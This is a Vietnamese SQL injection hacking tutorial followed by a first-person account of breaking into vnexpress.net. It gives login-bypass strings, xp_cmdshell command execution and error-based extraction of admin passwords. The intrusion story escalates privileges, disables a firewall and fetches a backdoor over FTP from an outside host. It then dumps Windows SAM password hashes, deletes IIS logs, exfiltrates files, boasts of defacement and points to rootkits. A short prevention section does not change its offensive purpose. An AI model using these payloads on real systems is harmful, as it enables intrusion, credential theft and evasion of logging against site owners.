SQL Injection

trang này đã được đọc lần

1) SQL Injection là gì?

SQL Injection là một trong những kiểu hack web đang dần trở nên phổ biến hiện nay. Bằng cách inject các mã SQL query/command vào input trước khi chuyển cho ứng dụng web xử lí, bạn có thể login mà không cần username và password, remote execution, dump data và lấy root của SQL server. Công cụ dùng để tấn công là một trình duyệt web bất kì, chẳng hạn như Internet Explorer, Netscape, Lynx, ...

2) Tìm kiếm mục tiêu

Bạn có thể search các trang web cho phép submit data ở bất kì một search-engine nào trên mạng, chẳng hạn như các trang login, search, feedback, ...

http://vịtcon/index.asp?id=10

Một số trang web chuyển tham số qua các field ẩn, bạn phải xem mã HTML mới thấy rõ.

<FORM action=Search/search.asp method=post>
<input type=hidden name=A value=C>
</FORM>

3) Kiểm tra chỗ yếu của trang web

Thử submit các field username, password hoặc field id, .. bằng hi' or 1=1--

- Login: hi' or 1=1--
- Pass: hi' or 1=1--
-
http://vịtcon/index.asp?id=hi' or 1=1--

Nếu site chuyển tham số qua field ẩn, bạn hãy download source HTML, lưu trên đĩa cứng và thay đổi lại URL cho phù hợp. Ví dụ:

<FORM action=http://vịtcon/Search/search.asp method=post>
<input type=hidden name=A value="hi' or 1=1--">
</FORM>

Nếu thành công, bạn có thể login vào mà không cần phải biết username và password

4) Tại sao ' or 1=1-- có thể bypass login?

Giả sử như có một trang asp link đến một asp trang khác với URL như sau:

http://vịtcon/index.asp?category=food

Trong URL trên, biến 'category' được gán giá trị là 'food'. Mã asp của trang này có thể như sau (đây chỉ là ví dụ thôi):

v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
set rs=conn.execute(sqlstr)

v_cat sẽ chứa giá trị của biến request.category, 'food' và câu lệnh SQL tiếp theo sẽ là:
2) SELECT * FROM product WHERE PCategory='food'

Dòng query trên sẽ trả về một tập resultset chứa một hoặc nhiều dòng phù hợp với điều kiện WHERE PCategory='food'

Nếu bạn thay đổi URL trên thành
http://vịtcon/index.asp?category=food' or 1=1-- , biến v_cat sẽ chứa giá trị "food' or 1=1-- " và dòng lệnh SQL query sẽ là:

SELECT * FROM product WHERE PCategory='food' or 1=1--'

Dòng query trên sẽ select mọi thứ trong table product bất chấp PCategory có bằng 'food' hay không. Hai dấu gạch ngang "--" chỉ cho MS SQL server biết đã hết dòng query, mọi thứ còn lại sau "--" sẽ bị bỏ qua. Đối với MySQL, bạn hãy thay "--" thành "#"

Bạn cũng có thể thử cách khác bằng cách submit ' or 'a'='a. Dòng SQL query bây giờ sẽ là:

SELECT * FROM product WHERE PCategory='food' or 'a'='a'

Một số data khác mà bạn cũng nên submit để biết xem trang web có gặp lỗi hay không:

' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a

5) Thi hành lệnh từ xa bằng SQL Injection

Nếu cài đặt với chế độ default, MS SQL Server sẽ chạy ở mức SYSTEM, tương đương với mức truy cập Administrator trên Windows. Bạn có thể dùng master..xp_cmdshell để thi hành lệnh từ xa:

'; exec master..xp_cmdshell 'ping 10.10.1.2'--

Hãy thử dùng dấu nháy đôi (") nếu dấu nháy đơn (') không làm việc.

Dấu chấm phẩy ( sẽ kết thúc dòng SQL query hiện tại và cho phép bạn thi hành một SQL command mới. Để kiểm tra xem lệnh trên có được thi hành hay không, bạn có thể listen các ICMP packet from 10.10.1.2 bằng tcpdump như sau:

#tcpdump icmp

Nếu nhận được ping request từ 10.10.1.2 nghĩa là lệnh đã được thi hành.

6) Nhận output của SQL query

Bạn có thể dùng sp_makewebtask để ghi các output của SQL query ra một file HTML

'; EXEC master..sp_makewebtask "\10.10.1.3shareoutput.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"

folder "share" phải được share cho Everyone trước.

7) Nhận data qua 'database using ODBC error message'

Các error message của MS SQL Server thường đưa cho bạn những thông tin quan trọng. Lấy ví dụ ở trên
http://vịtcon/index.asp?id=10, bây giờ chúng ta thử hợp nhất integer '10' với một string khác lấy từ CSDL:

http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

System table INFORMATION_SCHEMA.TABLES chứa thông tin về tất cả các table có trên server. Field TABLE_NAME chứa tên của mỗi table trong CSDL. Chúng ta chọn nó bởi vì chúng ta biết rằng nó luôn tồn tại. Query của chúng ta là:

SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-

Dòng query này sẽ trả về tên của table đầu tiên trong CSDL

Khi chúng ta UNION string này với số integer 10, MS SQL Server sẽ cố thử chuyển một string (nvarchar) thành một số integer. Điều này sẽ gặp lỗi nếu như không chuyển được nvarchar sang int, server sẽ hiện thông báo lỗi sau:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table1' to a column of data type int.
/index.asp, line 5

Thông báo lỗi trên cho biết giá trị muốn chuyển sang integer nhưng không được, "table1". Đây cũng chính là tên của table đầu tiên trong CSDL mà chúng ta đang muốn có.

Để lấy tên của tên của table tiếp theo, bạn có thể dùng query sau:

http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--

Bạn cũng có thể search data bằng từ khóa LIKE:

http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

3)
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin_login' to a column of data type int.
/index.asp, line 5

Mẫu so sánh '%25login%25' sẽ tương đương với %login% trong SQL Server. Như bạn thấy trong error message trên, chúng ta có thể xác định được tên của một table quan trọng là "admin_login".

Xác định tên của các column trong table

Table INFORMATION_SCHEMA.COLUMNS chứa tên của tất cả các column trong table. Bạn có thể khai thác như sau:

http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int.
/index.asp, line 5

Như vậy tên của column đầu tiên là "login_id". Để lấy tên của các column tiếp theo, bạn có thể dùng mệnh đề logic NOT IN () như sau:

http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int.
/index.asp, line 5

Làm tương tự như trên, bạn có thể lấy được tên của các column còn lại như "password", "details". Bạn lấy tên của các column này qua error message error sau:

http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator.
/index.asp, line 5

9) Thu thập các dữ liệu quan trọng

Chúng ta đã xác định được các tên của các table và column quan trọng. Chúng ta sẽ thu thập các thông tin quan trọng từ các table và column này.

Bạn có thể lấy login_name đầu tiên trong table "admin_login" như sau:

http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'neo' to a column of data type int.
/index.asp, line 5

Bạn dễ dàng nhận ra được admin user đầu tiên có login_name là "neo". Hãy thử lấy password của "neo" như sau:

http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'm4trix' to a column of data type int.
/index.asp, line 5

Bây giờ bạn có thể login vào với username là "neo" và password là "m4trix".

10) Nhận các numeric string

Có một hạn chế nhỏ đối với phương pháp trên. Chúng ta không thể nhận được các error message nếu server có thể chuyển text đúng ở dạng số (text chỉ chứa các kí tự số từ 0 đến 9). Giả sử như password của "trinity" là "31173".

http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--

Bạn chỉ nhận được thông báo lỗi "Page Not Found". Lí do bởi vì server có thể chuyển passoword "31173" sang dạng số trước khi UNION với integer 10. Để giải quyết vấn đề này, chúng ta có thể thêm một vài kí tự alphabet vào numeric string này để làm thất bại sự chuyển đổi từ text sang số của server. Dòng query mới như sau:

http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity'--

Chúng ta dùng dấu cộng (+) để nối thêm text vào password (ASSCII code của '+' là 0x2b). Chúng ta thêm chuỗi '(space)morpheus' vào cuối password để tạo ra một string mới không phải numeric string là '31173 morpheus'. Khi hàm convert() được gọi để chuyển '31173 morpheus' sang integer, SQL server sẽ phát lỗi ODBC error message sau:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int.
/index.asp, line 5

Bây giờ bạn cũng có thể login vào với username 'trinity' và password là '31173'

11) Update/insert data vào CSDL

Khi bạn đã có tên của tất cả các column trong table, bạn có thể UPDATE hoặc INSERT một record mới vào table này.

Để thay đổi password của "neo", bạn có thể làm như sau:

http://vịtcon/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo'--

Hoặc nếu bạn muốn chèn một record mới vào table:

http://vịtcon/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')--

Bây giờ bạn có thể login vào với username "neo2" và password là "newpas5"

12) Ngăn chặn SQL Injection


Hãy loại bỏ các kí tự meta như '"/; và các kí tự extend như NULL, CR, LF, ... trong các string nhận được từ:

- input do người dùng đệ trình - các tham số từ URL
- các giá trị từ cookie

Đối với các giá trị numeric, hãy chuyển nó sang integer trước khi query SQL, hoặc dùng ISNUMERIC để chắc chắn nó là một số integer.

Thay đổi "Startup and run SQL Server" dùng mức low privilege user trong tab SQL Server Security.

Xóa các stored procedure mà bạn không dùng như:

master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask

vd. vnexpress.net đã bị hack như thế nào ?

vnexpress.net đã từng bị hack tung bởi mắc lỗi SQL Injection, sau đây là bài tường thuật của tác giả vụ hack đó, các bạn tham khảo nha:

Để an toàn khi hack, mình set lại proxy trong IE5 là proxy.ia2.marketscore.com:80. Xong, bây giờ bắt đầu vào http://vnexpress.net/. Loay hoay một chặp trên VnExpress để tìm lỗi SQL Injection, mục Rao Vặt:

http://vnexpress.net/User/Rao-vat/Source/View.asp?ID=500006378&c=3'

HTTP 500.100 - Internal Server Error - ASP error
Internet Information Services

Error Type:
Unclosed quotation mark before the character string '' /User/Rao-vat/Source/Detail.Asp, line 114

Yeah!

Mình thử dùng các kí tự khác ngoài dấu ': " , ( ) để biết được chính xác URL khai thác:

http://vnexpress.net/User/Rao-vat/Source/View.asp?ID=500006378&c=3) ...

Bây giờ đến việc tiến hành xâm nhập vào máy chủ này qua lỗi SQL Injection!

- Đầu tiên mình xác định xem phiiên bản của MSSQL và Windows NT:

http://vnexpress.net/User/Rao-vat/Source/View.asp?ID=500006378&c=3) and 1=convert(int,@@version)--sp_password

Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.655 (Intel X86) Jul 3 2002 18:10:57 Copyright (c) 1988-2000 Microsoft Corporation Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 3)' to a column of data type int. /User/Rao-vat/Source/Detail.Asp, line 114

(Để tránh ghi nhật kí trong MSSQL, mình thêm sp_password vào sau --. Khi MSSSQL phát hiện ra chuổi 'sp_password' trong câu lệnh SQL, nó sẽ ghi nhật kí như sau: -- 'sp_password' was found in thee text of this event. -- The text has been replaced with this comment for security reasons.. Để cho đơn giản, từ đây mình sẽ ghi tắc --sp_password là -- nha)

+ SQL 2000 8.00.655 03/07/2002
+ Windows 2000 5.0 Build 2196 SP3

- Mình xác định tiếp tên ngườii dùng hiện tại và tên CSDL đang làm việc:

http://vnexpress.net/User/Rao-vat/Source/View.asp?ID=500006378&c=3) and 1=convert(int,system_user)--

Syntax error converting the nvarchar value 'IUSR_WIN10814' to a column of data type int. /User/Rao-vat/Source/Detail.Asp, line 114

http://vnexpress.net/User/Rao-vat/Source/View.asp?ID=500006378&c=3) and 1=convert(int,db_name())--

Syntax error converting the nvarchar value 'Infostore' to a column of data type int. /User/Rao-vat/Source/Detail.Asp, line 114

Username hiện tại không phải là sa hoặc BUILTIN\Administrators nên không thể xài master..xp_cmdshell. SQL ngày 03/07/2002, đang chạy với Windows Authentication user là IUSR_WIN10814, hơi cũ so với ngày hiện tại. Mình vào trang http://www.securiteam.com/ và search các lỗi của MSSQL đã được công bố sau ngày 03/07/2002. Đây là thứ mà mình tìm:

NGSSoftware Insight Security Research Advisory

Name: Extended Stored Procedure Privilege Upgrade
Systems: Microsoft SQL Server 2000 and 7
Severity: High Risk
Category: Privilege Escalation
Vendor URL: http://www.microsoft.com/
Author: David Litchfield (david@ngssoftware.com)
Advisory URL: http://www.ngssoftware.com/advisories/mssql-esppu.txt
Date: 15th August 2002
Advisory number: #NISR15002002A

Description
***********
Microsoft SQL Server 2000 and 7 extends functionality by using extended
stored procedures. Three particular extended stored procedures contain a
vulnerability that allow a low privileged user to run abritrary SQL queries
in the context of the
account running SQL Server.

Details
*******
SQL Server supports two forms of authentication. The first is where a user
uses an SQL login and password to authenticate and the second is through
Windows Authentication. Any user authenticated by Windows can "upgrade"
their privileges to that of the account running the SQL Server by using one
of three extended stored procedures. These stored procedures allow a user to
run an arbitrary SQL query. By exploiting this problem a low privileged user
will be able to run any stored procedure, extended or otherwise, and select
from, update or insert into any table in any database. That is by exploiting
these holes an attacker can fully compromise the database server and its
data. Whilst an SQL Login user can not directly exploit this vulnerability
they can do so indirectly by submitting a job to the SQL Agent. As this the
SQL Agent authenticates to the SQL Server and runs in the context of Windows
account these vulnerabilities can be exploited. Please see NGSSoftware alert
NISR15002002A (http://www.ngssoftware.com/advisories/mssql-esppu.txt) for
more details.

Fix Information
***************
NGSSoftware informed Microsoft of these issues in July. Microsoft has
produced a patch that resolves these issues. Please see

http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/
bulletin/MS02-043.asp

for more details.

For those SQL Server database administrators who are not able to patch
immediately NGSSoftware recommend that they remove public access to these
stored procedures. This will prevent low privileged users from accessing
these extended stored procedures.

xp_execresultset
xp_printstatements
xp_displayparamstmt

A check for this vulnerability has been added to Typhon II, NGSSoftware's
vulnerability assessment scanner, of which, more information is available
from the NGSSite, http://www.ngssoftware.com/.

Username hiện tại là IUSR_WIN10814, thuộc loại Windows Authentication nên chúng ta có thể dùng xp_displayparamstmt để nâng quyền của username này lên dbo.

http://vnexpress.net/User/Rao-vat/Source/View.asp?ID=500006378&c=3);exec master..xp_displayparamstmt N'sp_addsrvrolemember ''IUSR_WIN10814'',''sysadmin''',N'master',1--

Mình add user IUSR_WIN10814 vào nhóm sysadmin để có thể dùng được master..xp_cmdshell

Xác định lại username hiện tại xem sao?

http://vnexpress.net/User/Rao-vat/Source/View.asp?ID=500006378&c=3) and 1=convert(int,user_name())--

Syntax error converting the nvarchar value 'dbo' to a column of data type int. /User/Rao-vat/Source/Detail.Asp, line 114

DBO - Chúng ta đang có quyền hạn cao nhất trên máy chủ MSSQL đó nha.

Tiếp theo mình xác định địa chỉ IP của máy chủ này như sau:

Đầu tiên tạo một bảng chứa dữ liệu và đổ kết quả của lệnh exec master..xp_cmdshell 'ipconfig' vào bảng này.

http://vnexpress.net/User/Rao-vat/Source/View.asp?ID=500006378&c=3);create table systables(a int identity,b varchar(1000)) insert into systables exec master..xp_cmdshell 'ipconfig'--

Việc còn lại là lấy kết quả từ bảng systables:

http://vnexpress.net/User/Rao-vat/Source/View.asp?ID=500006378&c=3) and 1=convert(int,(select top 1 b from systables where b like '%25IP Address%25'))--

(%25 == "%")

Syntax error converting the nvarchar value ' IP Address. . . . . . . . . . . . : 10.244.63.231 ' to a column of data type int. /User/Rao-vat/Source/Detail.Asp, line 114

http://vnexpress.net/User/Rao-vat/Source/View.asp?ID=500006378&c=3) and 1=convert(int,(select b from systables where b like '%25IP Address%25') and b not in('%2510.244.63.231%25'))--

Syntax error converting the nvarchar value ' IP Address. . . . . . . . . . . . : 198.64.129.137 ' to a column of data type int. /User/Rao-vat/Source/Detail.Asp, line 114

http://vnexpress.net/User/Rao-vat/Source/View.asp?ID=500006378&c=3) and 1=convert(int,(select b from systables where b like '%25IP Address%25') and b not in('%2510.244.63.231%25','%25198.64.129.137%25'))--

Syntax error converting the nvarchar value ' IP Address. . . . . . . . . . . . : 198.64.132.21 ' to a column of data type int. /User/Rao-vat/Source/Detail.Asp, line 114

http://vnexpress.net/User/Rao-vat/Source/View.asp?ID=500006378&c=3) and 1=convert(int,(select b from systables where b like '%25IP Address%25') and b not in('%2510.244.63.231%25','%25198.64.132.21%25','%25198.64.129.137%25','%25198.64.132.21%25'))--

Syntax error converting the nvarchar value ' IP Address. . . . . . . . . . . . : 198.64.132. 22' to a column of data type int. /User/Rao-vat/Source/Detail.Asp, line 114

Hì hì, nó có đến 4 địa chỉ IP luôn!

Mình thử ping đến vnexpress.net để xem thử địa chỉ IP của Web Server ra sao?

C:\>ping vnpress.net

Pinging vnexpress.net [198.64.132.22] with 32 bytes of data:

Reply from 198.64.132.22: bytes=32 time=344ms TTL=105
Control-C

Như vậy IIS và MSSQL đều được cài trên cùng một máy chủ.

Thử nối đến cổng cổng 1433 bằng Netcat xem sao?

C:\>nc -vv -n 198.64.132.22 1433
(UNKNOWN) [198.64.132.22] 1433 (?): connection refused
sent 0, rcvd 0: NOTSOCK

VnExpress.NET đã đặt tường lửa cho cổng 1433 rồi. Mình nghĩ khả năng lớn nhất là họ đã dùng tường lửa lọc cổng dữ liệu đi kèm với Windows 2000 Server. Mình quyết định phá tường lửa này.

http://vnexpress.net/User/Rao-vat/Source/View.asp?ID=500006378&c=3);exec master..xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Services\Tcpip\Parameters','EnableSecurityFilters'--

Chỉ cần del giá trị EnableSecurityFilters trong khóa HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters là xong.

Nối lại xem sao?

C:\>nc -vv -n 198.64.132.22 1433
(UNKNOWN) [198.64.132.22] 1433 (?) open

Đúng y như mình đã dự đoán!

Bây giờ đến việc upload backdoor và một vài đồ nghề khác lên server. Mình chuẩn bị sẵn mấy thứ này trong thư mục /vnexpress trên máy chủ FTP free-hosting. Bởi vì việc lấy các file trên FTP hơi lâu nên nếu dùng IE5 thì kết sẽ bị ngắt nữa chừng do lỗi timeout (đang xài kết nối quay số ở ngoài dịch vụ mà) nên mình chuyển sang xài Mini-Browser (*Mini-Browser là một đồ nghề không thể thiếu được khi hack web). Set lại proxy cho Mini-Browser là proxy.ia2.marketscore.com:80 cho chắc.

f & echo user username xxxxx f & echo bin f & echo cd /vnexpress f & echo mget * f & echo quit f & ftp -v -i -n -s:f'--"http://vnexpress.net/Useer/Rao-vat/Source/View.asp?ID=500006378&c=3);exec master..xp_cmdshell 'echo open ftp.esmartweb.com >f & echo user username xxxxx >>f & echo bin >>f & echo cd /vnexpress >>f & echo mget * >>f & echo quit >>f & ftp -v -i -n -s:f'--

URLEncode -> http://vnexpress.net/User/Rao-vat/Source/View.asp?ID=500006378&c=3);exec%20master..xp_cmdshell%20'echo%20open%20ftp.esmartweb.com%20%3Ef%20%26%20echo%20user%20username%20xxxxx%20%3E%3Ef%20%26%20echo%20bin%20%3E%3Ef%20%26%20echo%20cd%20/vnexpres%20

[GET]

Waiting...!
Done.

Kích hoạt backdoor WinShell 4.0:

http://vnexpress.net/User/Rao-vat/Source/View.asp?ID=500006378&c=3);exec master..xp_cmdshell 'backup'--

Xong, bây giờ chỉ việc kết nối đến backdoor WinShell. Mình dùng Putty để nối

+ Host Name (or IP Address): 198.64.132.22
+ Port: 3371
+ Protocol: (o) Raw

xxxxx

WinShell v4.0

(C)2001 by janker

http://www.bugsos.com/

? for help
CMD>s
C:\WINNT\system32>_

- Đổ SAM

Administrator:500:C3591A674B80231AF24E41BBADB86F3F:B0F92BB2E3471150BEC31733D67288EA:Built-in account for administering the computer/domain::
Guest:501:********************************:********************************:Built-in account for guest access to the computer/domain::
TsInternetUser:1000:DFA15ABF9536AE19F7FF965C044A5116:D21C509DA73030AD8DA1014F3A211943:TsInternetUser,This user account is used by Terminal Services.::
IUSR_WIN10814:1001:9C0887DCB5F1EA859B0B497A5C75047F:A9438645CA94E67F631C2E14E1CDF7D4:Internet Guest Account,Built-in account for anonymous access to Internet Information Services::
IWAM_WIN10814:1002:A4BE543712EDBA21B0991B757487A81E:BCE493DFA35602091F9285CAEABA3128:Launch IIS Process Account,Built-in account for Internet Information Services to start out of process applications::
Internet:1003:336F31071CA2B4A0D14C9408F0C70C13:80C82BA8E876F8D59732AC429A93072B:Internet,FPT Internet admin access::
vReplicator:1004:578BFE097611D01A73545BB507664033:AF30E872418F24EC3FD86F58CB8F0DFD:Replicate Site::
AdminEditor:1005:A07C0994B7D99B918284770D91848144:121CF5A2FB538FC2EF4918C69EC29116:Admin Editor::
Thangpv:1006:F138C587F87CB06E29B1F66481A851EE:7AA75649EA242FE1FD76191279F2F407:Pham Vinh Thang::

- Xác định WWROOT của IIS

C:\WINNT\system32>reg query "hklm\system\currentcontrolset\services\w3svc\parameters\virtual roots"
! REG.EXE VERSION 2.0

HKEY_LOCAL_MACHINE\system\currentcontrolset\services\w3svc\parameters\virtual roots
/ REG_SZ D:\Infostore\Master,,201
/IISHelp REG_SZ C:\WINNT\Help\iisHelp,,201
/Replicate REG_SZ D:\InfoStore\Replicate,,201

- Xóa nhật kí của IIS (thật sự thì mình không hề bị ghi nhật kí vì Admin của VnExpress.NET đã disable log của IIS do số lượng người truy cập vào trang web này quá đông)

C:\WINNT\system32>reg query hklm\system\currentcontrolset\services\w3svc\parameters /v logfiledirectory
! REG.EXE VERSION 2.0

HKEY_LOCAL_MACHINE\system\currentcontrolset\services\w3svc\parameters
logfiledirectory REG_SZ C:\WINNT\System32\LogFiles

C:\WINNT\system32>
C:\WINNT\system32>dir %systemroot%\system32\logfiles
Volume in drive C has no label.
Volume Serial Number is 5C62-FB1E

Directory of C:\WINNT\system32\logfiles

04/19/2002 12:26a <DIR> .
04/19/2002 12:26a <DIR> ..
04/19/2002 07:24a <DIR> W3SVC1
0 File(s) 0 bytes

C:\WINNT\system32>rd /s /q logfiles\w3svc1

- Để xem có gì trong WWROOT không?

D:\InfoStore>dir
Volume in drive D is InfoStore
Volume Serial Number is 544E-1C8D

Directory of D:\InfoStore

04/25/2002 08:39a <DIR> .
04/25/2002 08:39a <DIR> ..
04/19/2002 10:44a <DIR> ftproot
09/20/2002 03:29p <DIR> Master
10/01/2002 01:10p <DIR> Replicate
0 File(s) 0 bytes
5 Dir(s) 46,340,067,328 bytes free

Cả khối file tin tức trong thư mục Master. Mình thấy chỉ có Replicate và một số ít các file trong Master là còn có giá trị nên download về.

C:\WINNT\system32>rar -a f.zip d:\infostore\replicate\*.*
C:\WINNT\system32>copy /y f.zip d:\infostore\master\readme.txt

(dùng Mass Downloader để download file http://vnexpress.net/readme.txt về)

C:\WINNT\system32>del d:\infostore\master\readme.txt

... và một số việc khác nữa không kể ra ở đây tới.

*Server của VnExpress.NET chẳng có thứ gì ngoài mấy cái tin tức cung cấp miễn phí cho mọi người nên mình quyết định stop tại đây, không xóa bất kì file nào trên server đâu nha. Mình chỉ upload vài file để deface trang VnExpress.NET cho vui thôi.

- À nếu bạn cần cài backdoor/roottkit không bị phát hiện trên Windows NT thì dùng Hacker Defender (http://rootkit.host.sk/) hoặc TYT ( http://www.polarhome.com/~vickit/tyt0/ , mã nguồn: http://www.polarhome.com/~vicki/hack/congcu/win/tyt0-src.zip) của mình nha. * Hiện tại bản Hacker Defender 0.7.3 không làm việc trên Windows 2000 bản Enterprise. Mình đã test thử trên vài server rồi, trong khi backdoor của mình thì vẫn làm việc tốt đối với bản Enterprise. Khi nào có source-code của HxDef mình sẽ phát triển tiếp con backdoor của mình để cho các bạn xài. Nói thật là mấy thứ backdoor và rootkit này cũng rất dễ bị phát hiện và disable. Hì hì, không nói ở đây nha (để cho an toàn thôi)